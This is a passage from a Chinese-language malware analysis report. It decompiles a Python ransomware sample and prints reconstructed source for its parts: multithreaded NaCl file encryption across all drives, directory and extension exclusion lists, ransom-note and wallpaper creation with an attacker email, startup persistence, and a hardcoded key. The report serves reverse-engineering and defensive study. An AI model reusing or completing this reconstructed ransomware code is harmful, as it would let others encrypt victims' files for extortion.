74 FORMAT_VALUE 0 (FVC_NONE) //print(f'Successfully encrypted {file_path}')
76 BUILD_STRING 2
78 CALL_FUNCTION 1
80 POP_TOP
82 POP_BLOCK
84 JUMP_ABSOLUTE 46
86 DUP_TOP
88 LOAD_GLOBAL 6: Exception
90 JUMP_IF_NOT_EXC_MATCH 140
92 POP_TOP
94 STORE_FAST 3: exc
96 POP_TOP
98 SETUP_FINALLY 32 (to 132)
100 LOAD_GLOBAL 0: print
102 LOAD_CONST 6: 'Error encrypting '
104 LOAD_FAST 2: file_path
106 FORMAT_VALUE 0 (FVC_NONE)
108 LOAD_CONST 7: ': '
110 LOAD_FAST 3: exc
112 FORMAT_VALUE 0 (FVC_NONE)
114 BUILD_STRING 4
116 CALL_FUNCTION 1 //print(f'Error encrypting {file_path}: {exc}')
118 POP_TOP
120 POP_BLOCK
122 POP_EXCEPT
124 LOAD_CONST 0: None
126 STORE_FAST 3: exc
128 DELETE_FAST 3: exc
130 JUMP_ABSOLUTE 46
132 LOAD_CONST 0: None
134 STORE_FAST 3: exc
136 DELETE_FAST 3: exc
138 RERAISE
140 RERAISE
142 JUMP_ABSOLUTE 46
144 POP_BLOCK
146 LOAD_CONST 0: None
148 DUP_TOP
150 DUP_TOP
152 CALL_FUNCTION 3
154 POP_TOP
156 JUMP_FORWARD 16 (to 174)
158 WITH_EXCEPT_START
160 POP_JUMP_IF_TRUE 164
162 RERAISE
164 POP_TOP
166 POP_TOP
168 POP_TOP
170 POP_EXCEPT
172 POP_TOP
174 LOAD_CONST 0: None
176 RETURN_VALUE
经过还原的代码大致如下
def OneStart():
print("It's Working")
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
future_to_file = {
file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE) # 提交 FileE 方法
for path in PathList
for file_path in encrypt_files_in_path(path)
}
for future in as_completed(future_to_file):
future_path = future_to_file[future]
try:
future.result()
print(f'Successfully encrypted {file_path}')
except:
print(f'Error encrypting {file_path}: {exc}')
5.3.7 CallErrorBox函数
此函数被正常反编译出来,这里就不再赘述
```C++
def CallErrorBox():
WINDOW = tkinter.Tk()
WINDOW.withdraw()
messagebox.showerror('Error', 'Try To Re-Run As Administrator')
### 5.3.8 encrypt_files_in_path
这个函数的字节码如下
```Bash
0 LOAD_GLOBAL 0: os
2 LOAD_METHOD 1: walk
4 LOAD_FAST 0: path
6 CALL_METHOD 1 //os.walk(path)
8 GET_ITER
10 FOR_ITER 138 (to 150)
12 UNPACK_SEQUENCE 3 //解包上面返回的可迭代对象
14 STORE_FAST 1: root
16 STORE_FAST 2: _
18 STORE_FAST 3: files
20 LOAD_FAST 3: files
22 GET_ITER
24 FOR_ITER 122 (to 148)
26 STORE_FAST 4: name
28 LOAD_GLOBAL 0: os
30 LOAD_ATTR 2: path
32 LOAD_METHOD 3: join
34 LOAD_FAST 1: root
36 LOAD_FAST 4: name
38 CALL_METHOD 2 //os.path.join(root, name)
40 STORE_DEREF 0: file_path
42 LOAD_GLOBAL 0: os
44 LOAD_METHOD 4: stat
46 LOAD_DEREF 0: file_path
48 CALL_METHOD 1 //os.stat(file_path).st_size
50 LOAD_ATTR 5: st_size
52 STORE_FAST 5: file_size
得到代码如下
for root, _, files in os.walk(path):
for name in files:
file_path = os.path.join(root, name)
file_size = os.stat(file_path).st_size
接下来是一个判断
54 LOAD_GLOBAL 6: any
56 LOAD_CLOSURE 0: file_path
58 BUILD_TUPLE 1
60 LOAD_CONST 1: <CODE> <genexpr> //生成器表达式
62 LOAD_CONST 2: 'encrypt_files_in_path.<locals>.<genexpr>'
64 MAKE_FUNCTION 8
66 LOAD_CONST 3: ('$Recycle.Bin', 'Windows', 'AppData', 'System32')
68 GET_ITER
70 CALL_FUNCTION 1 //调用genexpr
72 CALL_FUNCTION 1 //调用any
74 POP_JUMP_IF_FALSE 78 //判断是否为false
76 JUMP_ABSOLUTE 24//如果是就跳转
其中这个表达式汇编如下
0 LOAD_FAST 0: .0
2 FOR_ITER 14 (to 18)
4 STORE_FAST 1: x // x for x in 输入的参数
6 LOAD_FAST 1: x
8 LOAD_DEREF 0: file_path
10 CONTAINS_OP 0 (in) // file_path in x
12 YIELD_VALUE //yield
14 POP_TOP
16 JUMP_ABSOLUTE 2
18 LOAD_CONST 0: None
20 RETURN_VALUE //return
翻译为代码如下,用于排除特定目录
if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
continue
接下来又是一个相似的操作
LOAD_GLOBAL 6: any
80 LOAD_CLOSURE 0: file_path
82 BUILD_TUPLE 1
84 LOAD_CONST 4: <CODE> <genexpr> //另外一个生成器
86 LOAD_CONST 2: 'encrypt_files_in_path.<locals>.<genexpr>'
88 MAKE_FUNCTION 8
90 LOAD_CONST 5: ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')
92 GET_ITER
94 CALL_FUNCTION 1
96 CALL_FUNCTION 1
生成器字节码如下
0 LOAD_FAST 0: .0 //输入的参数
2 FOR_ITER 16 (to 20)
4 STORE_FAST 1: ext //for ext in 输入的参数
6 LOAD_DEREF 0: file_path
8 LOAD_METHOD 0: endswith
10 LOAD_FAST 1: ext
12 CALL_METHOD 1 //file_path.endswith(ext)
14 YIELD_VALUE
16 POP_TOP
18 JUMP_ABSOLUTE 2
20 LOAD_CONST 0: None
22 RETURN_VALUE
翻译后的代码如下,用于排除特定拓展名
if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
continue
接下来对文件大小进行校验并调用加密算法
100 JUMP_ABSOLUTE 24
102 LOAD_FAST 5: file_size
104 LOAD_GLOBAL 7: FILE_SIZE_THRESHOLD
106 COMPARE_OP 5 (>=) //file_size >= FILE_SIZE_THRESHOLD:
108 POP_JUMP_IF_FALSE 118
110 LOAD_DEREF 0: file_path
112 YIELD_VALUE //yield file_size
114 POP_TOP
116 JUMP_ABSOLUTE 24
118 LOAD_GLOBAL 8: print
120 LOAD_CONST 6: 'Encrypting small file '
122 LOAD_DEREF 0: file_path
124 FORMAT_VALUE 0 (FVC_NONE)
126 BUILD_STRING 2
128 CALL_FUNCTION 1 // print(f'Encrypting small file {file_path}')
130 POP_TOP
132 LOAD_GLOBAL 9: D_E_ncrypt
134 LOAD_DEREF 0: file_path
136 LOAD_GLOBAL 10: Box
138 CALL_FUNCTION 2 // D_E_ncrypt(file_path, Box)
140 LOAD_METHOD 11: FileE
142 CALL_METHOD 0 //encryptor.FileE()
144 POP_TOP
146 JUMP_ABSOLUTE 24
148 JUMP_ABSOLUTE 10
150 LOAD_CONST 0: None
152 RETURN_VALUE
代码大致如下
def encrypt_files_in_path(path):
for root, _, files in os.walk(path):
for name in files:
file_path = os.path.join(root, name)
file_size = os.stat(file_path).st_size
# 排除特定目录
if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
continue
# 排除特定文件扩展名
if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
continue
# 检查文件大小
if file_size >= FILE_SIZE_THRESHOLD:
yield file_path
print(f'Encrypting small file {file_path}')
# 创建 D_E_ncrypt 实例并调用 FileE 方法
encryptor = D_E_ncrypt(file_path, Box)
encryptor.FileE()
5.3.9 main
if __name__ == '__main__':
if AdminRight:
OneStart()
create_ransom_note()
email = 'elenaelerhsteink08673@gmail.com'
create_image_with_email(email)
script_path = os.path.abspath(__file__)
add_to_startup(script_path)
else:
CallErrorBox()
5.3.10 全局变量初始化
MAX_THREAD_WORKERS = 100
FILE_SIZE_THRESHOLD = 10485760
User = os.getlogin()
Script = sys.argv[0]
MaxThread = 120
AdminRight = ctypes.windll.shell32.IsUserAnAdmin()
#密钥初始化
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)
Token = 'Your Telegram Token So you can Get Decrypt The Files!'
NumID = 'Your User ID so Bot just Send Key To You !'
Message = f'''{User} -> {Key}'''
PathList = [
'C:\\Users\\\\']
for Latter in range(97, 123):
PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''list -> {PathList}''')
print(f'''We are -> {Script}''')
6.病毒分析概览
分析表明,该病毒程序通过Python打包成可执行文件,具备文件加密、勒索信生成、权限维持及启动项添加等多种功能。利用NACL加密算法,该病毒对特定目录和文件类型进行遍历加密,生成“.lol”后缀文件,并通过更换桌面壁纸和创建勒索信提示用户支付赎金。此外,恶意程序使用注册表实现开机自启动,且通过多线程加速加密进程。